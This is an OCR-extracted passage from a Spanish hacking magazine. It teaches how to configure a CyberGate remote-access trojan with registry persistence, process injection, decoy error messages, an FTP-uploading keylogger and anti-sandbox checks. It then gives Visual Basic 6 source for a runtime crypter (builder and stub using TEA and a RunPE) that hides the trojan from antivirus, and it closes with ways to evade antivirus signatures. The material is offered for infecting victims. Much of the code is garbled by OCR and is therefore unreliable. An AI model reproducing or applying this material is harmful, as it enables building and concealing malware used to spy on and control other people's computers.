@ Other # Other

Boot
[Fi HKEY_LOCAL_WMACHINE\Software\.... \Run
[Fl HKEY_CURRENT_USER\Software!..
[Fi Change creation date
[F Mett file

[ Policies\ExploreriRun | Policies

[ Active Setup
{61REFN75-JEME-3 VEJU-447020P 04} ok Random

[Fd Extra Startup 80 o= Random

En Installation nos pone el directorio donde queremos instalar el serve, en que proceso queremos
inyectarlo, etc. Ahora lo explicare por puntos:

e Lacasilla Installserve, como su nombre indica, es para instalar el cliente (cominmente se
le lama serve, pero es el cliente). Si hacemos un serve para autoinfectarnos es
recomendable no tildarla
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e [nstallationdirectory es la carpeta que en la que queramos instalar el serve, en File Name
el nombre que queramos ponerle a la copia del serve y en el texto directory ponemos el
nombre de una subcarpeta.

Voy a poner un ejemplo porque quizas sea algo confuso: configuro un serve donde en
Installationdirectory esté en System, en directory ponga “Nologa93” y en File Name
“infeccidn.exe”. Si yo me autoinfectase con este serve habria una copia de este en System,
con una carpeta llamada “Nologa93” y dentro habria un archivo llamado “infeccién.exe”.

Esta copia se hace para no perder a los remotos si eliminan el serve que enviamos.

e En Injectinto podemos poner que no se inyecte, que se inyecte en el navegador por
defecto o en otros procesos.

El apartado Message sirve, como con Darkcomet, para crear un mensaje de error, informacion,
pregunta, o peligro cuando se ejecute el serve. Esto es para que cuando el remoto ejecute el
serve, le salga el mensaje que hemos seleccionado.

Create server

=2 n L g Message l

[l Display message

Message icon Button
CyberGate

@ @ Question @0k Remote Administration anywhere in the world.

@ OK, Cancel
@ Retry, Cancel

@ Yes, No

® Information

X
A @ Warning

@ Yes, No, Cancel

@ Abort, Retry, Ignore

En el siguiente apartado (Keylogger) deberemos de poner nuestra direccion FTP, la carpeta donde
quiere que se envie, nuestro usuario con la contrasefia para que pueda acceder y cada cuanto
gueremos que nos envie lo capturado. El puerto lo dejamos por defecto porque es el que vamos a
usar. lgual que con Darkcomet, podemos ver los logs aparte de FTP.
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En Anti-Debug podemos dejarlo todo pestafieado. Este apartado sirve para que no se pueda
ejecutar el serve en maquinas virtuales y demas.

! !, | B AntiDebug [N

Cancel the execution of the server in the following cases

[ Anti Sandboxie [F AntiDebugger

[ Other

Anti VirtualBox
Anti ThreatExpert

Anti Anubis

Anti JoeBox

Anti Norman Sandbox
Check all

BB EEEOE @

Anti Softice

Y por ultimo, el apartado para crear el serve, aqui nos mostrara los datos que hemos puesto en las
demas pestafas. En versiones anteriores y otros RAT’s nos puede mostrar una pestafiita que se
llama UPX. Esta sirve para comprimir un poco el serve y asi reducirle un poco el tamano, pero no
pasa nada si no se marca.

I Create server

Connection

Change creation date
HMelt file

YEU3ZHTRe4PE57
Brogram Files

Bien, pues ya creamos nuestro serve correctamente :D. Tanto Cybergate como Darkcomet tienen
una pestaiia, justo debajo de la que pulsamos para crear el serve, para crear un downloader. Este

30

——
| —



downloader sirve para que quien lo ejecute, se descargue el serve que hayamos subido a algln
sitio.

Pero esto no va dentro de esta revista ya que no es primordial ni tampoco es muy complicado :).
Ahora os espero en el siguiente apartado, idonde crearemos nuestro primer crypter!

TOCANDO VB 6.0

iLlego la hora de empezar a programar! En esta parte explicaré como vamos a un crypter y un
binder, que nos servirdn bastante :D.

¢Qué es un crypter? éEso se come? ¢Esta rico? Si te has hecho esta pregunta, no, no se come jajaja
:P. Un crypter, en pocas palabras, nos servira para indetectar nuestro serve hecho con el RAT a los

antivirus (uy uy, que bien suena eso). Basicamente un crypter se compone de dos partes: el builder
y el stub. Explico que hace cada cosa:

Builder:

-Seleccionamos con él el serve en nuestro caso (o cualquier otro archivo que queramos cifrar).
Abre el archivo binariamente (lo abre, no lo ejecuta). Encripta/cifra el archivo que hemos
seleccionado y lo junta con el stub en un solo ejecutable.

Stub:

Al ejecutar el ejecutable generado por el builder, el stub se encarga de desencryptar/descifrar el
archivo y si tiene el runPE (que nosotros se lo pondremos), hard que haga este proceso desde

memoria.
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Archivo

O server

O
Builder

Stub
4=

Delimitador

o=
Archivo/serve cifrado

éQué es eso del run... que? Resumiendo, el runPe es un cédigo que nos ayudara en el crypter
para que descifre el cifrado en memoria. Por ahora no necesitaremos saber mas.

Bueno, sigamos. Se puede distinguir entre dos tipos de crypter, aunque en estos tiempos ya solo

se utilicen uno de ellos:

-Scantime: como su nombre indica, sirve para indetectar un archivo si un antivirus lo analiza. Pero
no cuando se ejecuta dicho archivo. No nos serdn muy utiles ya que serd detectado con diferentes
firmas dependiendo del archivo que cifremos.

-Runtime: se ejecuta en memoria a tiempo real. Con este tipo de crypters no tendremos
problemas en indetectar nuestro serve a los antivirus, tanto si lo analiza como si no.

Légicamente, si el stub es detectado por, por ejemplo, 10 antivirus, el serve serd igual de
detectado (e incluso puede que un poco mas). Para que nuestro serve sea 100% indetectable el
stub también debe de ser, en general, 100% indetectable.
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Esto no tiene por qué ser asi siempre. Algunas veces pueden detectar el stub un antivirus y cuando
ciframos un serve no nos salta dicho antivirus... y mas cominmente es al revés, que el stub sea
totalmente indetectado y al encriptar un archivo no. Se debe a que se tiene que distinguir entre el
stub y el cifrado, pero eso es otra historia y lo veremos cuando empecemos a moddear.

La imagen que esta arriba es un pequefio resumen de cdmo actla un crypter. Quizas la ultima
parte puede liarte un poco con eso del “delimitador”. El delimitador no es nada mas que cualquier
palabra, nimeros, simbolos, frase o locura escrita para poder distinguir entre el archivo cifrado y
el stub que componen el total del archivo encriptado. Es decir, como ya expliqué arriba la funcién
del builder, lo que hace éste es cifrar el archivo y juntarlo con el stub.

Bien, ahora que sabemos que tipos de crypters que hay, iempecemos a codear uno!.

Necesitaremos tener instalado Microsoft Visual Studio 6.0 para poder empezar a codear en V.B.
Repito, todas las herramientas que usaran en esta revista (aparte de algunos extras) se encuentran
en http://www.hackxcrack.es/forum/index.php?topic=14084.0. Asi que lo buscais ahi y lo instalais

).

Suponemos ya que tenemos todo instalado ya y queremos empezar a hacer cositas je je. Pues
nada mas que habra que dar doble clic en este icono:

&
rp"ﬁ Microsoft Visual Basic 6.0

Una vez ejecutado, nos aparecera esta ventanita:
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e

Muevo | Existente I Recientes I

= > B

EXE estandar EXE ActiveX DLL ActiveX Control ActiveX

+ *

e % 0 % Q‘ Q
2 o
Fe Fe

Administrador de Asistente para Addin Aplicacidn DHTML
asistentes de VB  aplicaciones de VB

[ No mostrar este cuadro de didlogo en el futuro

Seleccionamos el primer icono, EXE estdndar, y Abrir. Sucesivamente nos aparecera un Form.
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L,

General
B3 Proyectol - Forml (Form) EI@

k
my m| O
N
IN(E) & Forml =R
B RN SRR
5 = R R R SRR
e
~ W [
£ SRR RSN L R RN R SRR
[ ] n

El Formes la interfaz grafica que tendra el builder, que es lo primero que empezaremos a codear.
¢Veis lo redondeado en rojo? Esos componentes son los que vamos a usar para hacer el builder :).

El primer icono circulado se llama TextBox. Lo usaremos para que muestre la ruta de los archivos
que examinemos con el builder. El segundo se llama CommandButton y nos servira para que se
ejecuten las acciones que codeemos. El siguiente es un OptionButton, marcara la opcidn que
seleccionemos. Y por ultimo, el CheckBox, que tildara la opcion que EOF (que le afiadiremos) por si

se quiere.

¢Todo entendido hasta aqui no? Nada complicado éverdad? Bien, pues vamos a hacer la interfaz

grafica. La mia serd asi:

-

[ CUADERNO DE MALWARE CRYPTER =

| Cammand] |
E|—|:he,:k'|::::::::::::::::::::::: EDmmandElE

Le he puesto un Label para que quede mas bonito je je. Ahora seleccionamos cada componente
(CommandButton, CheckBox...) y le cambiamos el nombre donde pone Caption en esta ventana

que nos aparece:
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Propiedades - Commandl

3¢

|Command1 CommandButton

Alfabetica l Por categorias ]

=

(Mombre) Cnmmand 1
Appearance 1-

BackColor ] &HBDDDDDDF&
Cancel False

) dlnd
CausesValidation True
Default False
DisabledPicture (Minguna)

|'_|

Ahi, al primer CommandButton, le ponemos “Examinar” y al segundo Key “Crypt”. Podéis ponerle
los nombres que querais, pero eso si, que tengan relacion con su funcion.

También seria bueno que seleccionaseis los TextBox y borraseis lo que ponga en el apartado Tex ty
en el Form cambiéis el nombre, que queda muy soso Form1 jaja.

Quedaria algo asi:

El CUADERNO DE MALWARE

CRYPTER

%@M% Watware

E:-:amlnar | -

-

==

Asi quedo mas bonito :D. Y ahora...

iEmpecemos a codear!

Damos doble click sobre el Form y se nos aparecerd una pantalla en blanco como esta:

——

36

'



fz— Proyectol - Forml [Cédigo) == =R
Form ﬂ |L°ﬂd ﬂ

Friwvate Sub Form Load() N

End Sub

|=f= Ny

Borramos y dejamos la lista totalmente en blanco.

Bien, ahora haremos la funcién “examinar” del CommandButton1. Pero para ello necesitaremos la
ayuda de Microsoft CommonDialog Control, asi que le damos clic derecho en la columna donde

estan los componentes que usamos anteriormente, click en “Componentes...” y seleccionamos el
CommonDialog
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Controles | Disefiadores | Objetos insertables

ClGridoTe

[THookMenu Control 1.4

[T ImagenProX 2XControl Library

[liptactiveXLib

[(J15tudio Active Designer Controls

[[ILayoutDTC 1.0 Type Library

[T MetalCBProj

[ Microsoft ADO Data Control 6.0 {OLEDE)

[T Microsoft Calendar Control 8.0

[ Microsoft Chart Control 6.0 {OLEDE)

[T Microsoft Comm Control 6.0

[ Microsoft Data Bound Grid Control 5.0 (SP3) o
' m | b

Examinar...

[~ Sdlo selecdonados

—Microsoft Common Dialog Control 6.0 {SP3)
Ubicadcion: C:\windows\SysWowaComdlg32.o0x

Aceptar Cancelar | Aplicar |

Después, tan solo hay que poner un CommonDialog en cualquier parte del Form (da igual donde,
no se verd). A ese CommonDialog, le suelo llamar “CD” (para abreviar). Asi que si estas copiando
los cédigos directamente del cuaderno, deberias llamarlo CD.

En fin, sigamos codeando. Demos doble clic sobre el CommandButton “Examinar” y escribimos:

Private Sub Commandl Click()

With CD

DialogTitle = "Archivo a encriptar™

'Texto gque =Se nos mostrara arriba de la wventana
Filter = "Aplicaciones|*.exe™

'Para que =2olo podamos examinar archivos .exe

. ShowOpen

If Hot CD.FileName = wbNullString Then
Textl.Text = CD.Filelame

'Mue=stra en el Textl la ruta del archivo
End If

End With

End Sub

Bien, ya tenemos la funcién para poder elegir libremente el archivo que queremos encriptar/cifrar.

Ahora a por el botdon mas importante, el que se ocupa de encriptar el archivo. Doble clic y
escribimos:




Private S5ub Command? Click()
Dim Primer As 5tring, Crypter As String 'Declaramos
Dim EOQOF As S5tring 'Declaramos

If Textl.Text = vbNullS5tring Then

M=sgBox "Selecciona un archivo™, vbExclamation, Me.Caption
El=e

'"Hos =salta un mensaje 2i no seleccionamos ningin archiwvo

Cpen App.Path & "\stub.exe" For Binary L= #1
Crypter = Space (LOF(1))

Fet #¥1, , Crypter

Cloze #1

'Abrimos binariamente el stub

Cpen Textl.Text For Binary As #1

Primer = Space (LOF(1))

Fet #1, , Primer

Cloze #1

'Abrimos binariamente el archivo gue hemos seleccionado
With CD

DialogTitle = ";Donde lo guardo?®

Filter = "Aplicaciones|®*.exe™

. ShowSave

End With

'"Ventana gque =S& nos muestra para guardar el
'archivo encriptadofcifrado

Ahora para seguir codeando, debemos afiadir un mdédulo y un médulo de clase. Para ello damos
clic derecho donde se encuentra el explorador de proyectos, Agregar y Mddulo
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El@ Proyectol (Proyectol.vbp)

B-E3

il Form1 {Cuaderno.frm)

Ver cadigo
Ver objeto

Propiedades de Proyectel...

ﬁ Formularic
'E‘J Formulario MDI Guardar

Mﬁduln Guardar comao...

ﬁ Médule de clase & Imprimir...
’ Control de usuario
o - ) | v Acoplable
(= Pdgina de propiedades

Qcultar

@ Documento de usuario
WebClass
Data Report
DHTML Page

Data Environment

=

Ifabetica | Por categorias I

Agregar archivo...

Y repetimos la accién para poner dos médulos de clase. En el médulo, pondremos la funcién de
EOF, y en los mddulos de clase los dos algoritmos por orden. Quedaria asi:

- L-[3 Form1 (Cuaderno.frm)
E-£5 Médulos
=25 Méd

iVenga! Ya queda poco para terminar el builder :D.

Dim TEZ &= Mew ClassTER 'Declaramos

Primer = TEA.EncryptS3tring (Primer, "HackXCrack") 'Encripta el archivo y pone la pass del text?
GaoTo S5alto 'Ir a S5alto

Aqui hacemos la parte donde se cifra el archivo.




Salto:

If Not CD.Filename = vbNullString Then '5i seleccionamos algo entonces...
Open CD.Filename For Binary As #1 'Abrimos binariamente

Put #1, , Crypter & "Cuaderno™ & Primer & "Cuaderno™

'"Junta todo ¥ ponemcs como delimitador la palabra Cuaderno

Close #1 'Cerramos

End If

If Checkl.Value = Checked Then 'S5i esta tildado el CheckBox entonces...

ECF = ReadECFData (Textl.Text)

Call WriteEQFData (CD.Filename, EQF) 'Llamzs a2l WriteEQFData gue hay en el mddulo
End If

M=gBox ";Hecho!"™, vbInformation, Me.Caption 'Mensaje para informarnos de que =se hizo todo correctamente
End If

End If

End Sub

Uff ¢ por fin terminamos? Pues no, todavia queda lo mas importante: el stub.

Abriremos un proyecto nuevo, borraremos el form que nos viene por defecto y le afiadimos dos
moddulos y un médulo de clase.

El@ Proyectol (Proyecto2.vbp)
=3 Médulos

E -if’é Module 1 (Module 1.bas)

i L4t Module2 (Module2.bas)

-5 Médulos de dase

------ 1 Class1 (ClassTEA. ds)

En el primer modulo, codearemos el funcionamiento del stub; en el segundo pondremos el runPE
y en el mdédulo de clase el algoritmo. Bien, empecemos con el primer modulo:

Sub Main()
Dim Dato=s A= String 'Declaramos
Dim Malware () As S5tring 'Declaramos

Cpen App.Path & "\" & App.EXEName & ".exe" For Binary L= #1 'Hos abrimos
Datos = Space (LOF (1)) 'Cogemos los datos

et #1, , Datos

Cloze #1 'Cerramos

Ahora vamos a ver un pequefio esquema que nos servira para entender cémo vamos a usar
Malware().

Malware () = Split (Datos, "Cuaderno™)

Vamns a diferenciar las partes

"Malware (0) = Stub

"Malware(l) = Archivo encriptado
"Malware (2) = Algoritmo
"Malware (3) = Eey

Sigamos
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Malware (1) = Tea.DecryptString(Malware(l), "HackXCrack")
'Malware (l) es el archivo encriptado. Lo gue hacemos es5 gue

= Il

'se desencripte v use "HackXCrack", gue es la pass Jque usamos
¢Bien hasta ahora no? Ahora vamos a agregar un runPE en el médulo 2. Agregaré un runPE simple,
sin ofuscar ni nada (ya haremos eso mas tarde). El runPE que usaré serd el creado por Karcrack.

Para poder usar éste runPE debemos poner lo siguiente, una vez copiado el runPE en el mddulo 2,
en el médulo donde hicimos el cuerpo del stub, es decir, en el primer médulo.

Dim Datos2() As Byte
Datos2 () = StrConv (Malware(l), vbFromUnicode)

Call RunPE (Datos2, Lpp.Path & "\" & Lpp.EXEName & ".exe", Command)
End Sub

Esta es el code que debemos poner para hacer funcionar éste runPE. Si es otro runPE (que no sea
derivado del runPE de Karcrack), deberemos de hacerlo como su autor indica. Asi que ésta parte

varia segun el runPE que usemos.

iYa tenemos hecho nuestro crypter runtime! :D

MODDING DESDE BINARIO
PARTES DEL OFFSET LOCATOR

Antes de empezar a indetectar desde binario, vamos a aprender para que sirve cada parte. Si no
entiendes muy bien las explicaciones, no pasa nada, sigue leyendo la revista y mas tarde

comprenderas :)
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1) Es el apartado de las rutas. En el primertextbox pondremos la ruta de nuestro archivo cifrado
con nuestro crypter, y en el segundo, la carpeta donde trabajaremos (puede ser cualquier carpeta,
pero es recomendable que esté vacia)

2) Nos muestra el rango de offset. Hay pondremos el rango donde queramos trabajar, es decir,
desde la parte X de nuestro archivo hasta la parte Y. Por ejemplo, desde el offset 1000, que es
donde termina la cabecera, hasta el, por ejemplo 315000, que es donde termina el archivo.

3) Serdn con la cantidad de bytes que queramos ir trabajando.

4) “Valor” expresa con el valor (su nombre lo dice, éno?) en hex que trabajaremos. Normalmente

“n

suele ser 90, 2E, 00 o similares a un punto (“.”) en hex.
En extensidn, la que extensidn que tendra los archivos generados. Este campo no lo tocamos.

5) Aqui seleccionaremos el método que deseemos trabajar.

6) Nos recopilard en una lista los offsets que quedaron en la carpeta después de haber pasado el
antivirus.

7) Dandole a este botén empezara la creacidn de los offsets desde el rango, bytes, valory
extensién expuestos.
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Métodos

Esta parte de la revista la haré con videoturiales. El motivo principal es que es algo complicado
explicar las modificaciones desde binario en texto, y ademas, no quedardn tan como en un
videotutorial. Asi que explicaré brevemente los métodos que expondremos:

-Sacar stub del anotador/bola: a la hora de modear desde binario, usaremos un anotador o bola
cifrado por nuestro crypter. Esto sirve por dos motivos:

-El primer motivo es porque si modificamos directamente el stub, podemos tocar una
parte que no debemos.

-El segundo es que el stub no es igual de detectado (tiene distintas firmas o saltan menos
antivirus) que cuando ciframos un archivo. Por eso debemos actuar en el cifrado.

Explicaré dos formas muy faciles para que podamos sacar el stub de un anotador o bola al que
hayamos modificado con los métodos siguientes.

-Hexing: quizds es un método algo complicado para los recién llegados a este mundo, pero
podemos quitar una gran cantidad de antivirus cambiando solamente unas cuantas cosas desde
hexadecimal.

Para su desarrollo, necesitaremos un editor hexadecimal (en el videotutorial usaré el
HexWorkshop, aunque, por supuesto, podéis usar otro cualquiera) que podéis descargar desde el
mismo post creado para la revista.

-Avfucker: es el método mas facil con el que trabajaremos. Aunque es algo antiguo, hay muchos
antivirus que caen facilmente con este (como por ejemplo Avast, Bit Defender, Panda, a veces
Nod32...), aunque por supuesto todo depende de con que firma salte el/los antivirus.

-Dsplit: algo mds complejo que Avfucker. Este método es de los mas usados a la hora de
indetectar malware desde binario. Cuando trabajemos con éste método, veremos que es algo
similar al Avfucker, y que ademas, ocupa el final del desarrollo de Dsplit.

-RIT: este método es usado sobre todo para quitar/debilitar las firmas del Nod32. Aunque también
sirve para debilitar y quitar otros antivirus. Para desarrollar este método necesitaremos usar un
desensamblador.

-Localizando firmas: este método no es tan usado hoy en dia, pero nos puede servir para localizar
exactamente o aproximadamente donde en que parte se aloja una firma. Este es de los métodos
mas antiguos, junto con las modificaciones desde source, para la indetectar malware.

To be continued...
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